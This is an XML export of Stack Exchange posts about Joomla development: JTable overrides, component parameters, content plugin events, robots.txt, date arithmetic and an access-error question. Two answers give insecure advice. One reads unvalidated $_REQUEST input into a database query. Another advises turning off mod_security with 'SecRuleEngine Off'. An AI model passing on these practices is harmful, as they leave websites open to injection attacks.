  <row Id="9616" PostTypeId="1" AcceptedAnswerId="9617" CreationDate="2015-04-23T17:14:20.920" Score="1" ViewCount="711" Body="&lt;p&gt;I'm overriding store method to add &quot;created&quot; and &quot;created_by&quot; column in database. modified column is getting inserted with current date properly. But, for a new request, created and created_by columns are not getting inserted with current date and current userid respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm inserting a new row, hence this is new request. In that case, &lt;strong&gt;$this-&gt;id&lt;/strong&gt; should should not be there. I tried to echo &lt;strong&gt;$this-&gt;id&lt;/strong&gt; and it is indeed not set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store($updateNulls = false)&#xA;    {&#xA;        $date = JFactory::getDate();&#xA;        $user = JFactory::getUser();&#xA;&#xA;        $this-&amp;gt;modified = $date-&amp;gt;toSql();&#xA;&#xA;        if (isset($this-&amp;gt;id))&#xA;        {&#xA;            // Existing item&#xA;            $this-&amp;gt;modified_by = $user-&amp;gt;get('id');&#xA;        }&#xA;        else&#xA;        {&#xA;            // New Request. Set &quot;created&quot; column to current date and &quot;created_by&quot; to current userid&#xA;            if (!(int) $this-&amp;gt;created)&#xA;            {&#xA;                $this-&amp;gt;created = $date-&amp;gt;toSql();&#xA;            }&#xA;&#xA;            if (empty($this-&amp;gt;created_by))&#xA;            {&#xA;                $this-&amp;gt;created_by = $user-&amp;gt;get('id');&#xA;            }&#xA;        }&#xA;&#xA;        return parent::store($updateNulls);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2018-04-10T18:31:08.333" Title="JTable - Overriding store() method" Tags="|joomla-3.x|jtable|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9617" PostTypeId="2" ParentId="9616" CreationDate="2015-04-23T17:19:45.747" Score="0" Body="&lt;p&gt;I figured it out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had added following variables in extended JTable class (MyComponentTableMyTableName class):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;     * Current date for created column in #__helpdesk&#xA;     * @var Current Date to SQL format &#xA;     */&#xA;    protected $created;&#xA;&#xA;    /**&#xA;     * User id for created_by column in #__helpdesk&#xA;     * @var integer&#xA;     */&#xA;    protected $created_by;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just removed it. Gogglers, this will be useful. One should not add any custom variable if we are overriding JTable methods.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-04-24T03:49:31.997" LastActivityDate="2015-04-24T03:49:31.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9618" PostTypeId="2" ParentId="9605" CreationDate="2015-04-23T19:36:08.983" Score="1" Body="&lt;p&gt;I've found the following simple solution: to add in &lt;strong&gt;.../orders/details_history.php&lt;/strong&gt; the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var response = jQuery.ajax({&#xA;  type: &quot;GET&quot;,   &#xA;  url: &quot;index.php?tmpl=raw&amp;amp;order_id=&amp;lt;?php echo $this-&amp;gt;orderdetails['details']['BT']-&amp;gt;virtuemart_order_id; ?&amp;gt;&quot;,   &#xA;  async: false&#xA;}).responseText;&#xA;alert(response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to create the file &lt;strong&gt;raw.php&lt;/strong&gt; in the folder of active template with the query to the DB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order_id = $_REQUEST['order_id'];&#xA;$db = &amp;amp;JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any other better solution will be appreciated&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-04-23T19:36:08.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9619" PostTypeId="1" AcceptedAnswerId="9620" CreationDate="2015-04-23T20:39:45.297" Score="0" ViewCount="304" Body="&lt;p&gt;I'm creating a plugin that changes the article options programatically. I have been able to change an article's specific properties, like title, category, state, etc, by using &lt;code&gt;JTable&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd like to access the article global options (the one we access on Article Manager &gt; Options), in a way I can change disable for example the &lt;strong&gt;Save History&lt;/strong&gt; option programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea which class I should instantiate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1744" LastActivityDate="2015-04-23T21:10:26.787" Title="Access article global option programmatically" Tags="|articles|article-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9620" PostTypeId="2" ParentId="9619" CreationDate="2015-04-23T21:10:26.787" Score="2" Body="&lt;p&gt;The global parameters for any component are stored in the params column for the component in the #__extensions table.  One route would be to load the params using Joomla's component helper class like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = JComponentHelper::getParams('com_content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have the params you will be able to get and set them like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params-&amp;gt;get('save_history');&#xA;$params-&amp;gt;set('save_history', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now all we've done is manage to changed the state of the value in our params object.  We still need to insert this back into the DB.  Unfortunately there is no &quot;official&quot; means of doing this programaticaly.  The easiest would be to manually insert the params object converted to JSON string into the #__extensions table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you already have a data object with the appropriate primary key ID for the content component in your extensions table, you can convert the params object to a JSON string, attach to proper field and save to DB like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data-&amp;gt;extension_id = 22;&#xA;$data-&amp;gt;params = (string) $params&#xA;JFactory::getDbo()-&amp;gt;updateObject('#__extensions', $data, 'extension_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, although all three Joomla installations I checked did have 22 for the content components primary key extension_id value; you shouldn't assume and should have queried and stored the actual value to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-04-23T21:10:26.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9621" PostTypeId="2" ParentId="9612" CreationDate="2015-04-23T21:21:06.780" Score="3" Body="&lt;p&gt;Not 100% this is your issue, but you have no display method and as a result you're also not calling the super class display method.  Try changing this method:     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct() {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false, $urlparams = false) {&#xA;    require_once JPATH_COMPONENT . '/helpers/qtableprefix.php';&#xA;    $this-&amp;gt;input = JFactory::getApplication()-&amp;gt;input;&#xA;    $this-&amp;gt;input-&amp;gt;get('view', $this-&amp;gt;input-&amp;gt;get('view', 'tableprefix'));&#xA;    $view = $this-&amp;gt;input-&amp;gt;get('view');&#xA;    QTablePrefixHelper::addSubMenu((isset($view)) ? $view : '');&#xA;    parent::display($cachable, $urlparams);&#xA;    return $this&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See if that corrects your issue.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-04-23T21:21:06.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9622" PostTypeId="2" ParentId="9605" CreationDate="2015-04-23T21:39:10.230" Score="1" Body="&lt;p&gt;You can create a plugin and use the &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;com_ajax&lt;/a&gt; extension for it.&#xA;Please never, ever use $_REQUEST to receive any data from request. Especially if you are going to use the data for database requests. &#xA;Please use the &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;JInput&lt;/a&gt; object for this.&lt;/p&gt;&#xA;" OwnerUserId="1550" LastActivityDate="2015-04-23T21:39:10.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9623" PostTypeId="1" CreationDate="2015-04-24T00:18:45.663" Score="0" ViewCount="1071" Body="&lt;p&gt;I created a custom Joomla plugin and I want to display my custom data on content in category blog. I use oncontentprepare event for display data. But in category blog only show all data on first article.&#xA;My sample code this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   public function oncontentprepare ($context , &amp;amp;$article , &amp;amp;$params , $page=0)&#xA;    {&#xA;&#xA;   $attribs = json_decode($article-&amp;gt;attribs);&#xA;   echo $attribs-&amp;gt;customData;&#xA;&#xA;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when echo my data only show on first article in category blog. I want display data by using my plugin and without use template overwrite or regular expression.&lt;br&gt;&#xA;How can do it? it's possible? thank you&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="126" LastEditDate="2016-01-21T22:57:19.933" LastActivityDate="2016-01-21T22:57:19.933" Title="How can I use Joomla oncontentprepare in category blog" Tags="|joomla-3.x|joomla-2.5|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9624" PostTypeId="2" ParentId="9623" CreationDate="2015-04-24T01:44:15.170" Score="3" Body="&lt;p&gt;Yes, it is very possible to do what you want.  Joomla provides a series of triggers for content rendering which allows a developer to append content.  You have three trigger which are relevant to your use case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onContentAfterTitle&#xA;onContentBeforeDisplay&#xA;onContentAfterDisplay&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each of these methods reference a point in the content rendering cycle you can insert HTML to be incorporated into the final rendering.  We'll use onContentBeforeDisplay as an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentBeforeDisplay($context, &amp;amp;$row, &amp;amp;$params, $page=0) {&#xA;&#xA;    // You must verify you are appending to correct component view&#xA;    if (!in_array($context, array('com_content.category')))&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    $html = &quot;&amp;lt;span&amp;gt;My Appended Content!&amp;lt;/span&amp;gt;&quot;&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple as that, but be sure to verify you are in the correct component view before appending.  You can also insert into multiple components and component views if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow&quot;&gt;Content Plugin Events&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-04-24T01:44:15.170" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9625" PostTypeId="2" ParentId="9616" CreationDate="2015-04-24T01:56:36.997" Score="0" Body="&lt;p&gt;To clarify, did you alter your component's view JTable wrapper class or the core Joomla JTable class?  You should avoid the latter (core class) at all costs because the next Joomla CMS update could wipe any edits to core files out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In these cases the answer is usually tied to a required field in the form XML definition file, the fields actually renders and the task parameter.  I've run into this exact issue several times myself and its usually the result of one of the following things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Forgetting to include a hidden but required field&lt;/li&gt;&#xA;&lt;li&gt;Not setting id field value to 0 records&lt;/li&gt;&#xA;&lt;li&gt;Incorrect combination of hidden task input field and including in form action URL params&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's difficult to determine with any certainty what the exact issue with the information available, but I'm fairly confident one of these might be the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-04-24T01:56:36.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9626" PostTypeId="2" ParentId="9583" CreationDate="2015-04-24T08:31:29.483" Score="6" Body="&lt;p&gt;To answer your question, I think you need to understand the role of &lt;code&gt;robots.txt&lt;/code&gt;, which, in view of the very recent &lt;a href=&quot;http://googlewebmastercentral.blogspot.co.uk/2015/02/finding-more-mobile-friendly-search.html&quot;&gt;mobile friendliness changes&lt;/a&gt; in Google's algorithm, is something I have just been working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt; exists to &quot;request&quot; that search engines and other such user agents do not index the specified contents of the website within the file. The vast majority of websites contain files that make no sense to be indexed as they are internal to the workings of the site (Joomla as well as most other CMSes and the like). Joomla 3.x ships with a &lt;code&gt;robots.txt&lt;/code&gt; that allows indexing of the root, the /media folder and the /templates folder as these contain file necessary for &quot;correct&quot; page rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the format of &lt;code&gt;robots.txt&lt;/code&gt; is &lt;a href=&quot;http://www.robotstxt.org/orig.html&quot;&gt;not actually a well defined&lt;/a&gt; beastie, but broadly it contains one or more &quot;groups&quot; of URL specifications, each &quot;group&quot; corresponding to a specific user-agent (for most purposes here read that as &quot;search engine bot&quot;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, most &lt;code&gt;robots.txt&lt;/code&gt; files only have one &quot;group&quot; for the user-agent which is &lt;code&gt;*&lt;/code&gt;  (i.e. every type of user-agent).  Within these &quot;groups&quot;, are a sequence of lines each specifying an &quot;action&quot; and then a path (be that just a directory e.g. &lt;code&gt;/admininistrator/&lt;/code&gt; or a set of files e.g. &lt;code&gt;/images/*.html&lt;/code&gt; or a specific file &lt;code&gt;/administrator/index.php&lt;/code&gt;).  Example extract:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: /administrator/&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the &quot;problem&quot; arises because the only universally agreed &quot;action&quot; is &lt;code&gt;Disallow&lt;/code&gt;, that is &quot;please user-agent, don't index the path specified to the right&quot;.  I use that phrasing because &lt;code&gt;robots.txt&lt;/code&gt; is only a request mechanism, that is its actions are not binding, the visiting agent can choose to honour the actions or ignore them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it happens, the Googlebot does permit the use of an &lt;code&gt;Allow&lt;/code&gt; action, but at present it is the only one of the search engines to state that this is the case, so I suggest you don't rely on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, the problem boils down to: you don't want the &quot;internal&quot; files that make Joomla work to be indexed, but equally you don't want to reveal to those with malintent too much about your website's internal structure - these are not quite mutually exclusive, but are not far off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With having to rely wholly on &lt;code&gt;Disallow&lt;/code&gt;, it means I think you don't have many options to try to arrive at a &lt;code&gt;robots.txt&lt;/code&gt; that is manageable, doesn't tell the malintents too much but does result in Google et al indexing only what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The approach I have taken (don't do this at home folks) is to patch &lt;code&gt;/libraries/joomla/document/document.php&lt;/code&gt; to subtly alter the behaviour of the &lt;code&gt;addScript&lt;/code&gt; and &lt;code&gt;addStyleSheet&lt;/code&gt; methods.  For me, what they do now is to check if there is a version of the specified script/stylesheet in a place like &lt;code&gt;/media/&amp;lt;original path&amp;gt;&lt;/code&gt; and also to test if there are minified versions of &lt;code&gt;.js&lt;/code&gt; and &lt;code&gt;.css&lt;/code&gt; files (minification is a whole other topic).  I then have a script that I run regularly that checks everywhere that is &lt;code&gt;Disallow&lt;/code&gt;ed in the &lt;code&gt;robots.txt&lt;/code&gt; that contains media files and copy these to the same type of URL, but under &lt;code&gt;/media&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as it happens, I use Gantry too, but now the gantry files are copied to &lt;code&gt;/media&lt;/code&gt; and as my &lt;code&gt;robot.txt&lt;/code&gt; doesn't include any reference to &lt;code&gt;/media/&lt;/code&gt; the resources necessary for &quot;correct&quot; rendering are not blocked but equally I have a minimal and manageable &lt;code&gt;robots.txt&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="4120" LastActivityDate="2015-04-24T08:31:29.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9627" PostTypeId="1" CreationDate="2015-04-24T08:58:47.997" Score="1" ViewCount="55" Body="&lt;p&gt;I want to know the variable that makes the string appear for the longer description in VM3 so I can put it on the admin order confirmation e-mail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no one knows can you at least give me the correct file path for the strings so I can find it myself please? (The file that defines strings, not the emails as that's what I'm working on)&lt;/p&gt;&#xA;" OwnerUserId="3544" LastEditorUserId="3544" LastEditDate="2015-04-25T18:18:47.820" LastActivityDate="2015-05-25T19:08:20.967" Title="What is the variable that brings up the longer description in VM3?" Tags="|joomla-2.5|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9628" PostTypeId="1" CreationDate="2015-04-24T10:03:09.733" Score="1" ViewCount="446" Body="&lt;p&gt;When I Defer mootools-more.js jquery.min.js in joomla i start to get errors from javascript.&#xA;Is there a way to add something to a javascript that after defer the script work normaly? &#xA;I know there is a good extensions JCH_Optimizer, but i am Nginx user, and gzip_static is on. When i Turn on JCH_Optimizer  it will add for me unwonted ttfb because of gziping all the js/css files. With gzip_static on; i get way more faster server response time. &lt;/p&gt;&#xA;" OwnerUserId="4114" LastActivityDate="2017-02-14T07:00:34.017" Title="Defer mootools-more.js jquery.min.js" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="9630" PostTypeId="1" AcceptedAnswerId="9634" CreationDate="2015-04-24T10:51:35.640" Score="3" ViewCount="485" Body="&lt;p&gt;I need to add 15 days more to current date in Joomla excluding Sat and Sun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added it with following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDate()-&amp;gt;modify('+15 days');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't exclude Saturday and Sunday. Any idea how can I do it?&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-04-24T11:59:16.623" Title="Add days to JFactory::getDate() excluding Weekends (Sat and Sun)" Tags="|joomla-3.x|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9631" PostTypeId="2" ParentId="9606" CreationDate="2015-04-24T11:08:02.777" Score="4" Body="&lt;p&gt;I also sometimes need to refresh the session token to prevent the user from using the back button or resubmitting the page. I do it in my controller with the below method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Convenience method to refresh the session token to prevent the back button&#xA; *&#xA; * @return void&#xA; * @since 0.0.2&#xA; */&#xA;protected function refreshToken()&#xA;{&#xA;    $session = JFactory::getSession();&#xA;    $session-&amp;gt;getToken(true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make the original token invalid, so any forms submitted with the old token won't be able to be resubmitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option that I use for tokens that are not related to security is below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getHash($object)&#xA;{&#xA;    return urlencode(md5(json_encode($object)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I usually use this when I'm saving a one time use object to the user session. Then I follow up passing the hash in the redirect and unset the session variable when it gets to where it needs to be used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps =^D Happy Joomla!ng&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2015-04-24T11:08:02.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9632" PostTypeId="2" ParentId="9064" CreationDate="2015-04-24T11:26:47.943" Score="1" Body="&lt;p&gt;This is how I get info on extensions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getItemByElement($element, $type, $folder = null)&#xA;{&#xA;    $dbo = JFactory::getDbo();&#xA;    $query = $dbo-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('extension_id, manifest_cache');&#xA;    $query-&amp;gt;from('#__extensions');&#xA;&#xA;    $query-&amp;gt;where('element = '.$dbo-&amp;gt;quote($element));&#xA;    $query-&amp;gt;where('type = '.$dbo-&amp;gt;quote($type));&#xA;&#xA;    if($type == 'plugin' &amp;amp;&amp;amp; !empty($folder))&#xA;    {&#xA;        $query-&amp;gt;where('folder = '.$dbo-&amp;gt;quote($folder));&#xA;    }&#xA;&#xA;    $dbo-&amp;gt;setQuery($query);&#xA;    $extensionRecord = $dbo-&amp;gt;loadAssoc();&#xA;&#xA;    if(!is_null($extensionRecord))&#xA;    {&#xA;            $manifestData = json_decode($extensionRecord['manifest_cache']);&#xA;            $extensionRecord['manifest'] = $manifestData;&#xA;    }&#xA;&#xA;    return $extensionRecord;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will let you get anything in the extensions table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//return a component &#xA;$componentData = getItemByElement('com_content', 'component');&#xA;&#xA;//return a plugin&#xA;$pluginData = getItemByElement('codemirror','plugin','editors');&#xA;&#xA;//return a module&#xA;$moduleData = getItemByElement('mod_article_archives', 'module');&#xA;&#xA;//return library&#xA;$libData = getItemByElement('joomla','library');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested it on languages (haven't had the need), but I'm sure it will work for that too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy Joomla!ng =^D&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2015-04-24T11:26:47.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9633" PostTypeId="1" AcceptedAnswerId="10103" CreationDate="2015-04-24T11:40:38.687" Score="2" ViewCount="158" Body="&lt;p&gt;I've installed FullAjax plugin and I need to disable it for all the pages except the page with some parameter something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strpos($_SERVER['REQUEST_URI'],'view=orders&amp;amp;layout=details') !== false) {&#xA;// enable plugin for this page&#xA;} else {&#xA;// disable plugin for all other pages&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The options &lt;strong&gt;Ignore menu items&lt;/strong&gt; and &lt;strong&gt;Do not use FullAjax on&lt;/strong&gt; in plugin configurations don't suite because many pages don't have menu items but I need to disable the plugin on them too&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-04-24T12:31:33.637" LastActivityDate="2015-05-25T14:45:52.600" Title="How to disabe FullAjax plugin for all the pages except one" Tags="|joomla-2.5|development|extensions|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9634" PostTypeId="2" ParentId="9630" CreationDate="2015-04-24T11:59:16.623" Score="4" Body="&lt;p&gt;You should be able to use the following if you want to add 15 &lt;strong&gt;working/business&lt;/strong&gt; days:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date     = JFactory::getDate();&#xA;$newDate  = new JDate($date . ' +15 Weekday');  &#xA;$toFormat = $newDate-&amp;gt;format('Y-m-d');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Today is the 24th April 2015, so &lt;code&gt;$date&lt;/code&gt; (excluding the time), will output the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-04-24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;$toFormat&lt;/code&gt; will output the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-05-15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-24T11:59:16.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9636" PostTypeId="1" CreationDate="2015-04-24T16:18:49.040" Score="2" ViewCount="576" Body="&lt;p&gt;I have been recently assigned to take care of a website that uses joomla. First things I'm trying to do are &quot;smaller&quot;, like posting or editing articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've received a super user account, but even so, when I try to &lt;em&gt;edit&lt;/em&gt; an article, I receive a &quot;Forbidden access&quot; message (&quot;You don't have permission to access /administrator/index.php on this server.&quot;). After that, when I go back to the content administration page, the article is shown as blocked. I then unblock it, re-open, and the whole process occurs again, unchanged. This is happening a lot. So far, I have only tried with articles which contained images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do know: the server isn't run by us, so I thought that there &lt;em&gt;might be&lt;/em&gt; something related to access permissions to the folders, directly? If so, I must still understand what's going on, so I can ask for the right permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up the question(s):&#xA;- are there any automatic mechanisms by which joomla can block articles?&#xA;- if so, can I disable them?&#xA;- could this be due to access permissions for the server folders, even though I'm a super user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Still facing this issue, seems to be related only to articles that have images associated. Using our ftp I've managed to check that the images within the articles that I'm not able to edit have different file permissions (644 instead of 664) than the others listed. This doesn't seem to affect much the forbidden access issue. Thought the problem could be somehow related to image alignment, too, but no...&lt;/p&gt;&#xA;" OwnerUserId="4123" LastEditorUserId="4123" LastEditDate="2015-04-30T19:48:16.513" LastActivityDate="2015-04-30T19:48:16.513" Title="Joomla keeps automatically blocking articles" Tags="|joomla-2.5|articles|editing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9637" PostTypeId="2" ParentId="9608" CreationDate="2015-04-24T17:01:44.327" Score="1" Body="&lt;p&gt;I suggest to duplicate your template from Template Manager and do the modifications (no sidebar) to the new one without messing with the original one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to your menu and edit the menu item of your choice by selecting from &quot;Template Style&quot; list the duplicated (no sidebar) template. &lt;/p&gt;&#xA;" OwnerUserId="4011" LastActivityDate="2015-04-24T17:01:44.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9638" PostTypeId="2" ParentId="9636" CreationDate="2015-04-24T18:17:07.677" Score="1" Body="&lt;p&gt;A few things to check.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure you using the latest version of the Joomla 2.5 series (2.5.28)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check to see if your server has &lt;code&gt;mod_security&lt;/code&gt; installed. If so, then you should ask your hosting provider to disable it. If this is not possible, then try adding the following to your htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security2.c&amp;gt;&#xA;SecRuleEngine Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once done, rename your &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-24T18:17:07.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9639" PostTypeId="2" ParentId="9604" CreationDate="2015-04-24T22:49:19.517" Score="1" Body="&lt;p&gt;The simpliest way or at least the way I achieve the same goal as you have is using &lt;a href=&quot;https://www.joomlacontenteditor.net/&quot; rel=&quot;nofollow&quot;&gt;Joomla Content Editor&lt;/a&gt; together with &lt;a href=&quot;http://getk2.org/extend/extensions/869-k2-links-for-jce&quot; rel=&quot;nofollow&quot;&gt;K2 Links for JCE plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also plugins for VirtueMart and other Joomla extensions for this editor. Furthermore, this editor is very customizable in everything you can think of, and is free. Only some of its extensions are paid, but the K2 Links for JCE plugin that you need is free.&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2015-04-24T22:49:19.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
